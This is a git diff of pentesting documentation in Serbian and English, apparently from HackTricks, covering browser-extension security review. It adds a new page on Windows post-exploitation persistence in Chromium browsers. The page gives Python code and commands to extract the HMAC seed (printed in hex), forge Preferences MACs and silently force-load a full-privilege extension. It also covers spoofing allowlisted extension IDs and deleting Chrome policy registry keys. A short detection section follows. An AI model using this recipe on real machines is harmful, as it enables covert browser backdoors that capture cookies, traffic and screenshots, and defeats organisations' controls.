### Koristite CRX Viewer ekstenziju
|
### Koristite CRX Viewer ekstenziju
|
||||||
|
|
||||||
Još jedna pogodna metoda je korišćenje Chrome Extension Source Viewer, koji je projekat otvorenog koda. Može se instalirati iz [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Izvorni kod pregledača je dostupan u njegovom [GitHub repozitorijumu](https://github.com/Rob--W/crxviewer).
|
Još jedan zgodan metod je korišćenje Chrome Extension Source Viewer, koji je projekat otvorenog koda. Može se instalirati iz [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Izvorni kod viewer-a je dostupan u njegovom [GitHub repository](https://github.com/Rob--W/crxviewer).
|
||||||
|
|
||||||
### Pregledajte izvor lokalno instalirane ekstenzije
|
### Pregled izvora lokalno instalirane ekstenzije
|
||||||
|
|
||||||
Chrome ekstenzije instalirane lokalno takođe se mogu pregledati. Evo kako:
|
Chrome ekstenzije instalirane lokalno takođe se mogu pregledati. Evo kako:
|
||||||
|
|
||||||
1. Pristupite svom Chrome lokalnom profilu tako što ćete posetiti `chrome://version/` i pronaći polje "Profile Path".
|
1. Pristupite lokalnom Chrome profilu tako što ćete otići na `chrome://version/` i pronaći polje "Profile Path".
|
||||||
2. Idite u podfolder `Extensions/` unutar direktorijuma profila.
|
2. Idite u podfolder `Extensions/` unutar direktorijuma profila.
|
||||||
3. Ova fascikla sadrži sve instalirane ekstenzije, obično sa njihovim izvorom u čitljivom formatu.
|
3. Ovaj folder sadrži sve instalirane ekstenzije, obično sa izvornim kodom u čitljivom formatu.
|
||||||
|
|
||||||
Da biste identifikovali ekstenzije, možete mapirati njihove ID-eve na imena:
|
Da biste identifikovali ekstenzije, možete mapirati njihove ID-e na nazive:
|
||||||
|
|
||||||
- Omogućite Developer Mode na stranici `about:extensions` da biste videli ID-eve svake ekstenzije.
|
- Omogućite Developer Mode na stranici `about:extensions` da biste videli ID-e svake ekstenzije.
|
||||||
- Unutar fascikle svake ekstenzije, datoteka `manifest.json` sadrži čitljivo polje `name`, što pomaže u identifikaciji ekstenzije.
|
- U folderu svake ekstenzije, fajl `manifest.json` sadrži čitljivo polje `name`, koje pomaže pri identifikaciji ekstenzije.
|
||||||
|
|
||||||
### Koristite arhivator ili raspakivač
|
### Koristite arhiver ili alat za raspakivanje
|
||||||
|
|
||||||
Idite na Chrome Web Store i preuzmite ekstenziju. Datoteka će imati ekstenziju `.crx`. Promenite ekstenziju datoteke sa `.crx` na `.zip`. Koristite bilo koji arhivator (kao što su WinRAR, 7-Zip, itd.) da biste raspakovali sadržaj ZIP datoteke.
|
Idite na Chrome Web Store i preuzmite ekstenziju. Fajl će imati `.crx` ekstenziju. Promenite ekstenziju fajla iz `.crx` u `.zip`. Koristite bilo koji arhiver (npr. WinRAR, 7-Zip, itd.) da izdvojite sadržaj ZIP fajla.
|
||||||
|
|
||||||
### Koristite Developer Mode u Chrome-u
|
### Koristite Developer Mode u Chrome-u
|
||||||
|
|
||||||
Otvorite Chrome i idite na `chrome://extensions/`. Omogućite "Developer mode" u gornjem desnom uglu. Kliknite na "Load unpacked extension...". Idite do direktorijuma vaše ekstenzije. Ovo ne preuzima izvorni kod, ali je korisno za pregledanje i modifikovanje koda već preuzete ili razvijene ekstenzije.
|
Otvorite Chrome i idite na `chrome://extensions/`. Uključite "Developer mode" u gornjem desnom uglu. Kliknite na "Load unpacked extension...". Navigirajte do direktorijuma vaše ekstenzije. Ovo ne preuzima izvorni kod, ali je korisno za pregled i modifikaciju koda već preuzete ili razvijene ekstenzije.
|
||||||
|
|
||||||
## Skup podataka manifest ekstenzija za Chrome
|
## Dataset manifesta Chrome ekstenzija
|
||||||
|
|
||||||
Da biste pokušali da pronađete ranjive ekstenzije za pretraživač, možete koristiti [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i proveriti njihove manifest datoteke na potencijalno ranjive znakove. Na primer, da biste proverili ekstenzije sa više od 25000 korisnika, `content_scripts` i dozvolu `nativeMessaging`:
|
Da biste pokušali uočiti ranjive browser ekstenzije možete koristiti [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i proveriti njihove manifest fajlove za potencijalne znake ranjivosti. Na primer, da biste proverili ekstenzije sa više od 25000 korisnika, `content_scripts` i permisijom `nativeMessaing`:
|
||||||
```bash
|
```bash
|
||||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||||
```
|
```
|
||||||
## Lista provere bezbednosti
|
## Post-exploitation: Forced extension load & persistence (Windows)
|
||||||
|
|
||||||
Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke od njih mogu sadržati **ranjivosti** ili **potencijalna poboljšanja sigurnosti**. Sledeće su najčešće:
|
Prikrivena tehnika za ubacivanje backdoora u Chromium direktnim izmenama per-user Preferences i falsifikovanjem validnih HMACs, zbog čega pregledač prihvati i aktivira proizvoljan unpacked extension bez promptova ili flagova.
|
||||||
|
|
||||||
- [ ] **Ograničite** koliko god je moguće tražene **`permissions`**
|
{{#ref}}
|
||||||
- [ ] **Ograničite** koliko god je moguće **`host_permissions`**
|
forced-extension-load-preferences-mac-forgery-windows.md
|
||||||
- [ ] Koristite **jaku** **`content_security_policy`**
|
{{#endref}}
|
||||||
- [ ] **Ograničite** koliko god je moguće **`externally_connectable`**, ako nije potrebno i moguće, ne ostavljajte ga po defaultu, navedite **`{}`**
|
|
||||||
- [ ] Ako je ovde pomenut **URL ranjiv na XSS ili preuzimanje**, napadač će moći da **šalje poruke direktno pozadinskim skriptama**. Veoma moćan zaobilaženje.
|
|
||||||
- [ ] **Ograničite** koliko god je moguće **`web_accessible_resources`**, čak i prazne ako je moguće.
|
|
||||||
- [ ] Ako **`web_accessible_resources`** nije nijedna, proverite [**ClickJacking**](browext-clickjacking.md)
|
|
||||||
- [ ] Ako se bilo koja **komunikacija** dešava od **ekstenzije** do **web stranice**, [**proverite za XSS**](browext-xss-example.md) **ranjivosti** uzrokovane u komunikaciji.
|
|
||||||
- [ ] Ako se koriste Post Messages, proverite [**Post Message ranjivosti**](../postmessage-vulnerabilities/index.html)**.**
|
|
||||||
- [ ] Ako **Content Script pristupa DOM detaljima**, proverite da ne **uvode XSS** ako ih web **modifikuje**
|
|
||||||
- [ ] Posebno naglasite ako je ova komunikacija takođe uključena u **Content Script -> komunikaciju pozadinske skripte**
|
|
||||||
- [ ] Ako pozadinska skripta komunicira putem **native messaging**, proverite da li je komunikacija sigurna i sanirana
|
|
||||||
- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar koda ekstenzije za pretraživač
|
|
||||||
- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar memorije ekstenzije za pretraživač
|
|
||||||
- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar **datotečnog sistema nezaštićeno**
|
|
||||||
|
|
||||||
## Rizici ekstenzije za pretraživač
|
## Kontrolna lista sigurnosnog audita
|
||||||
|
|
||||||
- Aplikacija [https://crxaminer.tech/](https://crxaminer.tech/) analizira neke podatke kao što su dozvole koje ekstenzija za pretraživač zahteva kako bi dala nivo rizika korišćenja ekstenzije za pretraživač.
|
Iako Browser Extensions imaju **limited attack surface**, neke od njih mogu sadržati **vulnerabilities** ili **potential hardening improvements**. Sledeće su najčešće:
|
||||||
|
|
||||||
|
- [ ] **Limit** as much as possible requested **`permissions`**
|
||||||
|
- [ ] **Limit** as much as possible **`host_permissions`**
|
||||||
|
- [ ] Use a **strong** **`content_security_policy`**
|
||||||
|
- [ ] **Limit** as much as possible the **`externally_connectable`**, if none is needed and possible, do not leave it by default, specify **`{}`**
|
||||||
|
- [ ] If **URL vulnerable to XSS or to takeover** is mentioned here, an attacker will be able to **send messages to the background scripts directly**. Very powerful bypass.
|
||||||
|
- [ ] **Limit** as much as possible the **`web_accessible_resources`**, even empty if possible.
|
||||||
|
- [ ] If **`web_accessible_resources`** is not none, check for [**ClickJacking**](browext-clickjacking.md)
|
||||||
|
- [ ] If any **communication** occurs from the **extension** to the **web page**, [**check for XSS**](browext-xss-example.md) **vulnerabilities** caused in the communication.
|
||||||
|
- [ ] If Post Messages are used, check for [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
|
||||||
|
- [ ] If the **Content Script access DOM details**, check that they **aren't introducing a XSS** if they get **modified** by the web
|
||||||
|
- [ ] Make a special emphasis if this communication is also involved in the **Content Script -> Background script communication**
|
||||||
|
- [ ] If the background script is communicating via **native messaging** check the communication is secure and sanitized
|
||||||
|
- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **code**
|
||||||
|
- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **memory**
|
||||||
|
- [ ] **Sensitive information shouldn't be stored** inside the **file system unprotected**
|
||||||
|
|
||||||
|
## Browser Extension Risks
|
||||||
|
|
||||||
|
- The app [https://crxaminer.tech/](https://crxaminer.tech/) analyzes some data like the permissions browser extension requests to give a risk level of using the browser extension.
|
||||||
|
|
||||||
## Alati
|
## Alati
|
||||||
|
|
||||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||||
|
|
||||||
- Preuzima bilo koju Chrome ekstenziju sa datog linka Chrome web prodavnice.
|
- Pulls any Chrome extension from a provided Chrome webstore link.
|
||||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **pregledač**: jednostavno prikazuje JSON-formatiranu verziju manifest datoteke ekstenzije.
|
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simply displays a JSON-prettified version of the extension’s manifest.
|
||||||
- **Analiza otiska**: Detekcija [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) i automatska generacija JavaScript-a za otiskivanje Chrome ekstenzije.
|
- **Fingerprint Analysis**: Detection of [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) and automatic generation of Chrome extension fingerprinting JavaScript.
|
||||||
- **Potencijalna analiza Clickjacking-a**: Detekcija HTML stranica ekstenzije sa postavljenom direktivom [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Ove su potencijalno ranjive na clickjacking u zavisnosti od svrhe stranica.
|
- **Potential Clickjacking Analysis**: Detection of extension HTML pages with the [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) directive set. These are potentially vulnerable to clickjacking depending on the purpose of the pages.
|
||||||
- **Pregledač upozorenja o dozvolama**: koji prikazuje listu svih upozorenja o dozvolama Chrome-a koja će biti prikazana kada korisnik pokuša da instalira ekstenziju.
|
- **Permission Warning(s) viewer**: which shows a list of all the Chrome permission prompt warnings which will be displayed upon a user attempting to install the extension.
|
||||||
- **Opasne funkcije**: prikazuje lokaciju opasnih funkcija koje bi potencijalno mogle biti iskorišćene od strane napadača (npr. funkcije kao što su innerHTML, chrome.tabs.executeScript).
|
- **Dangerous Function(s)**: shows the location of dangerous functions which could potentially be exploited by an attacker (e.g. functions such as innerHTML, chrome.tabs.executeScript).
|
||||||
- **Ulazne tačke**: prikazuje gde ekstenzija prima korisnički/eksterni ulaz. Ovo je korisno za razumevanje površine ekstenzije i traženje potencijalnih tačaka za slanje zlonamerno oblikovanih podataka ekstenziji.
|
- **Entry Point(s)**: shows where the extension takes in user/external input. This is useful for understanding an extension’s surface area and looking for potential points to send maliciously-crafted data to the extension.
|
||||||
- I skeneri Opasnih funkcija i Ulaznih tačaka imaju sledeće za svoje generisane alarme:
|
- Both the Dangerous Function(s) and Entry Point(s) scanners have the following for their generated alerts:
|
||||||
- Relevantni deo koda i linija koja je izazvala alarm.
|
- Relevant code snippet and line that caused the alert.
|
||||||
- Opis problema.
|
- Description of the issue.
|
||||||
- Dugme "Pogledaj datoteku" za pregled celokupne izvorne datoteke koja sadrži kod.
|
- A “View File” button to view the full source file containing the code.
|
||||||
- Putanja alarmirane datoteke.
|
- The path of the alerted file.
|
||||||
- Potpuni URI Chrome ekstenzije alarmirane datoteke.
|
- The full Chrome extension URI of the alerted file.
|
||||||
- Tip datoteke, kao što su skripta pozadinske stranice, skripta sadržaja, akcija pretraživača, itd.
|
- The type of file it is, such as a Background Page script, Content Script, Browser Action, etc.
|
||||||
- Ako je ranjiva linija u JavaScript datoteci, putanje svih stranica gde je uključena kao i tip ovih stranica, i [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
|
- If the vulnerable line is in a JavaScript file, the paths of all of the pages where it is included as well as these page’s type, and [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
|
||||||
- **Analizator politike sigurnosti sadržaja (CSP) i proveravač zaobilaženja**: Ovo će ukazati na slabosti u CSP-u vaše ekstenzije i takođe će osvetliti sve potencijalne načine zaobilaženja vašeg CSP-a zbog belih lista CDN-ova itd.
|
- **Content Security Policy (CSP) analyzer and bypass checker**: This will point out weaknesses in your extension’s CSP and will also illuminate any potential ways to bypass your CSP due to whitelisted CDNs, etc.
|
||||||
- **Poznate ranjive biblioteke**: Ovo koristi [Retire.js](https://retirejs.github.io/retire.js/) da proveri da li se koriste poznate ranjive JavaScript biblioteke.
|
- **Known Vulnerable Libraries**: This uses [Retire.js](https://retirejs.github.io/retire.js/) to check for any usage of known-vulnerable JavaScript libraries.
|
||||||
- Preuzmite ekstenziju i formatirane verzije.
|
- Download extension and formatted versions.
|
||||||
- Preuzmite originalnu ekstenziju.
|
- Download the original extension.
|
||||||
- Preuzmite ulepšanu verziju ekstenzije (automatski formatiran HTML i JavaScript).
|
- Download a beautified version of the extension (auto prettified HTML and JavaScript).
|
||||||
- Automatsko keširanje rezultata skeniranja, pokretanje skeniranja ekstenzije će potrajati neko vreme prvi put kada ga pokrenete. Međutim, drugi put, pod pretpostavkom da ekstenzija nije ažurirana, biće gotovo instant zbog keširanih rezultata.
|
- Automatic caching of scan results, running an extension scan will take a good amount of time the first time you run it. However the second time, assuming the extension hasn’t been updated, will be almost instant due to the results being cached.
|
||||||
- Linkabilni URL-ovi izveštaja, lako povežite nekoga sa izveštajem o ekstenziji generisanim od strane tarnish.
|
- Linkable Report URLs, easily link someone else to an extension report generated by tarnish.
|
||||||
|
|
||||||
### [Neto](https://github.com/elevenpaths/neto)
|
### [Neto](https://github.com/elevenpaths/neto)
|
||||||
|
|
||||||
Projekat Neto je Python 3 paket osmišljen da analizira i razotkrije skrivene funkcije ekstenzija i dodataka za pretraživače kao što su Firefox i Chrome. Automatizuje proces raspakivanja pakovanih datoteka kako bi izvukao ove funkcije iz relevantnih resursa u ekstenziji kao što su `manifest.json`, lokalizacione fascikle ili JavaScript i HTML izvorne datoteke.
|
Project Neto is a Python 3 package conceived to analyse and unravel hidden features of browser plugins and extensions for well-known browsers such as Firefox and Chrome. It automates the process of unzipping the packaged files to extract these features from relevant resources in a extension like `manifest.json`, localization folders or Javascript and HTML source files.
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
- **Zahvaljujući** [**@naivenom**](https://twitter.com/naivenom) **za pomoć sa ovom metodologijom**
|
- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
|
||||||
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
||||||
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
|
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
|
||||||
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
|
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
|
||||||
|
@ -0,0 +1,207 @@
|
|||||||
|
# Forced Extension Load & Preferences MAC Forgery (Windows)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Pregled
|
||||||
|
|
||||||
|
Diskretna post‑exploitation tehnika koja prisilno učitava proizvoljne ekstenzije u Chromium-based browserima na Windowsu tako što menja korisnikov Preferences/Secure Preferences i falsifikuje važeće HMAC-ove za izmenjene čvorove. Radi protiv Chrome/Chromium, Edge i Brave. Primećeno da važi za Chromium od 130 do 139 u vreme objave. Jednostavan disk write primitive u profilu žrtve dovoljan je da postojano instalira ekstenziju sa punim privilegijama bez command-line flagova ili korisničkih upita.
|
||||||
|
|
||||||
|
> Ključna ideja: Chromium čuva po‑korisničko stanje ekstenzija u JSON Preferences fajlu i štiti ga HMAC-SHA256. Ako izračunate važeće MAC-ove koristeći ugrađeni seed pretraživača i zapišete ih pored svojih ubačenih čvorova, pretraživač prihvata i aktivira vaš unos ekstenzije.
|
||||||
|
|
||||||
|
## Gde se nalazi stanje ekstenzije (Windows)
|
||||||
|
|
||||||
|
- Chrome profil koji nije povezan sa domenom:
|
||||||
|
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (sadrži root "super_mac").
|
||||||
|
- Chrome profil povezan sa domenom:
|
||||||
|
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
|
||||||
|
- Ključni čvorovi koje Chromium koristi:
|
||||||
|
- extensions.settings.<extension_id> → ugrađeni manifest/metapodaci za unos ekstenzije
|
||||||
|
- protection.macs.extensions.settings.<extension_id> → HMAC za taj JSON blob
|
||||||
|
- Chromium ≥134: extensions.ui.developer_mode (boolean) mora biti prisutan i potpisan MAC-om da bi nepakovane ekstenzije bile aktivirane
|
||||||
|
|
||||||
|
Pojednostavljena šema (ilustrativno):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"extensions": {
|
||||||
|
"settings": {
|
||||||
|
"<extension_id>": {
|
||||||
|
"name": "Extension name",
|
||||||
|
"manifest_version": 3,
|
||||||
|
"version": "1.0",
|
||||||
|
"key": "<BASE64 DER SPKI>",
|
||||||
|
"path": "<absolute path if unpacked>",
|
||||||
|
"state": 1,
|
||||||
|
"from_bookmark": false,
|
||||||
|
"was_installed_by_default": false
|
||||||
|
// ...rest of manifest.json + required install metadata
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"ui": { "developer_mode": true }
|
||||||
|
},
|
||||||
|
"protection": {
|
||||||
|
"macs": {
|
||||||
|
"extensions": {
|
||||||
|
"settings": { "<extension_id>": "<MAC>" },
|
||||||
|
"ui": { "developer_mode": "<MAC>" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Napomene:
|
||||||
|
- Edge/Brave održavaju slične strukture. Vrednost protection seed-a može da se razlikuje (primećeno je da Edge/Brave u nekim build-ovima koriste null ili drugi seed).
|
||||||
|
|
||||||
|
|
||||||
|
## Extension IDs: path vs key and making them deterministic
|
||||||
|
|
||||||
|
Chromium izvodi ID ekstenzije na sledeći način:
|
||||||
|
- Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
|
||||||
|
- Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
|
||||||
|
|
||||||
|
Da biste zadržali stabilan ID između hostova, ubacite fiksni base64 DER public key u manifest.json pod "key". ID će biti izveden iz tog ključa umesto iz instalacione putanje.
|
||||||
|
|
||||||
|
Pomoćni alat za generisanje determinističkog ID-a i para ključeva:
|
||||||
|
```python
|
||||||
|
import base64
|
||||||
|
import hashlib
|
||||||
|
from cryptography.hazmat.primitives import serialization
|
||||||
|
from cryptography.hazmat.primitives.asymmetric import rsa
|
||||||
|
|
||||||
|
def translate_crx_id(s: str) -> str:
|
||||||
|
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
|
||||||
|
return ''.join(t.get(c, c) for c in s)
|
||||||
|
|
||||||
|
def generate_extension_keys() -> tuple[str,str,str]:
|
||||||
|
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
||||||
|
pub = priv.public_key()
|
||||||
|
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
|
||||||
|
format=serialization.PublicFormat.SubjectPublicKeyInfo)
|
||||||
|
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
|
||||||
|
pub_b64 = base64.b64encode(spki).decode('utf-8')
|
||||||
|
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
|
||||||
|
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||||
|
encryption_algorithm=serialization.NoEncryption())
|
||||||
|
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
|
||||||
|
return crx_id, pub_b64, priv_b64
|
||||||
|
|
||||||
|
print(generate_extension_keys())
|
||||||
|
```
|
||||||
|
Dodajte generisani javni ključ u manifest.json da biste zaključali ID:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"manifest_version": 3,
|
||||||
|
"name": "Synacktiv extension",
|
||||||
|
"version": "1.0",
|
||||||
|
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
|
||||||
|
}
|
||||||
|
```
|
||||||
|
## Falsifikovanje integriteta Preferences MACs (core bypass)
|
||||||
|
|
||||||
|
Chromium štiti preferences pomoću HMAC‑SHA256 nad "path" + serialized JSON value svakog čvora. HMAC seed je ugrađen u browser’s resources.pak i bio je važeći sve do Chromium 139.
|
||||||
|
|
||||||
|
Izvucite seed pomoću GRIT pak_util i locirajte kontejner za seed (file id 146 u testiranim buildovima):
|
||||||
|
```bash
|
||||||
|
python3 pak_util.py extract resources.pak -o resources_v139/
|
||||||
|
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
|
||||||
|
# compare a clean vs minimally modified resources.pak to spot the seed holder
|
||||||
|
xxd -p resources_v139/146
|
||||||
|
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
|
||||||
|
```
|
||||||
|
Izračunajte MACs (uppercase hex) kao:
|
||||||
|
```text
|
||||||
|
ext_mac = HMAC_SHA256(seed,
|
||||||
|
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
|
||||||
|
|
||||||
|
devmode_mac = HMAC_SHA256(seed,
|
||||||
|
"extensions.ui.developer_mode" + ("true" or "false"))
|
||||||
|
```
|
||||||
|
Minimalan Python primer:
|
||||||
|
```python
|
||||||
|
import json, hmac, hashlib
|
||||||
|
|
||||||
|
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
|
||||||
|
seed = bytes.fromhex(seed_hex)
|
||||||
|
# Compact JSON to match Chromium serialization closely
|
||||||
|
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
|
||||||
|
msg = (pref_path + val).encode('utf-8')
|
||||||
|
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
|
||||||
|
|
||||||
|
# Example usage
|
||||||
|
settings_path = f"extensions.settings.{crx_id}"
|
||||||
|
devmode_path = "extensions.ui.developer_mode"
|
||||||
|
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
|
||||||
|
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
|
||||||
|
```
|
||||||
|
Write the values under:
|
||||||
|
- protection.macs.extensions.settings.<crx_id> = ext_mac
|
||||||
|
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
|
||||||
|
|
||||||
|
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
|
||||||
|
|
||||||
|
> Implementation tips
|
||||||
|
> - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
|
||||||
|
> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.
|
||||||
|
|
||||||
|
|
||||||
|
## End‑to‑end silent load flow (Windows)
|
||||||
|
|
||||||
|
1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
|
||||||
|
2) Create extensions.settings.<id> by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
|
||||||
|
3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
|
||||||
|
4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges
|
||||||
|
|
||||||
|
|
||||||
|
## Bypassing enterprise controls
|
||||||
|
|
||||||
|
- Whitelisted extension hash spoofing (ID spoofing)
|
||||||
|
1) Install an allowed Web Store extension and note its ID
|
||||||
|
2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
|
||||||
|
3) Set that key as manifest.key in your modified extension to reproduce the same ID
|
||||||
|
4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
|
||||||
|
|
||||||
|
- Extension stomping (ID collision precedence)
|
||||||
|
- If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
|
||||||
|
|
||||||
|
- Neutralizing GPO via HKCU (requires admin)
|
||||||
|
- Chrome/Edge policies live under HKCU\Software\Policies\*
|
||||||
|
- With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
|
||||||
|
```powershell
|
||||||
|
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
|
||||||
|
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
|
||||||
|
```
|
||||||
|
## Bučan fallback: učitavanje iz komandne linije
|
||||||
|
|
||||||
|
Od Chromium ≥137, --load-extension zahteva takođe prosleđivanje:
|
||||||
|
```text
|
||||||
|
--disable-features=DisableLoadExtensionCommandLineSwitch
|
||||||
|
```
|
||||||
|
Ovaj pristup je široko poznat i nadgledan (npr. od strane EDR/DFIR; koristi ga commodity malware kao Chromeloader). Preference MAC forging je prikriveniji.
|
||||||
|
|
||||||
|
Related flags and more cross‑platform tricks are discussed here:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
## Operativni uticaj
|
||||||
|
|
||||||
|
Kada se prihvati, ekstenzija se izvršava sa svojim deklarisanim dozvolama, omogućavajući pristup DOM, presretanje/preusmeravanje zahteva, pristup kolačićima/storage i hvatanje snimaka ekrana — efektivno izvršavanje koda u pretraživaču i trajna perzistencija u korisničkom profilu. Daljinska distribucija preko SMB ili drugih kanala je jednostavna jer je aktivacija vođena podacima preko Preferences.
|
||||||
|
|
||||||
|
|
||||||
|
## Detekcija i pojačavanje bezbednosti
|
||||||
|
|
||||||
|
- Pratite non‑Chromium procese koji pišu u Preferences/Secure Preferences, posebno nove čvorove pod extensions.settings uparene sa protection.macs unosima
|
||||||
|
- Generišite upozorenje pri neočekivanom prebacivanju extensions.ui.developer_mode i na HMAC‑valid ali neodobrene unose ekstenzija
|
||||||
|
- Revidirajte HKCU/HKLM Software\Policies zbog manipulacija; sprovodite politike putem device management/Chrome Browser Cloud Management
|
||||||
|
- Prioritetno koristite forced‑install iz store sa verifikovanim publisherima umesto allowlist-a koji se podudaraju samo po extension ID
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
|
||||||
|
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
|
||||||
|
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
|
||||||
|
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user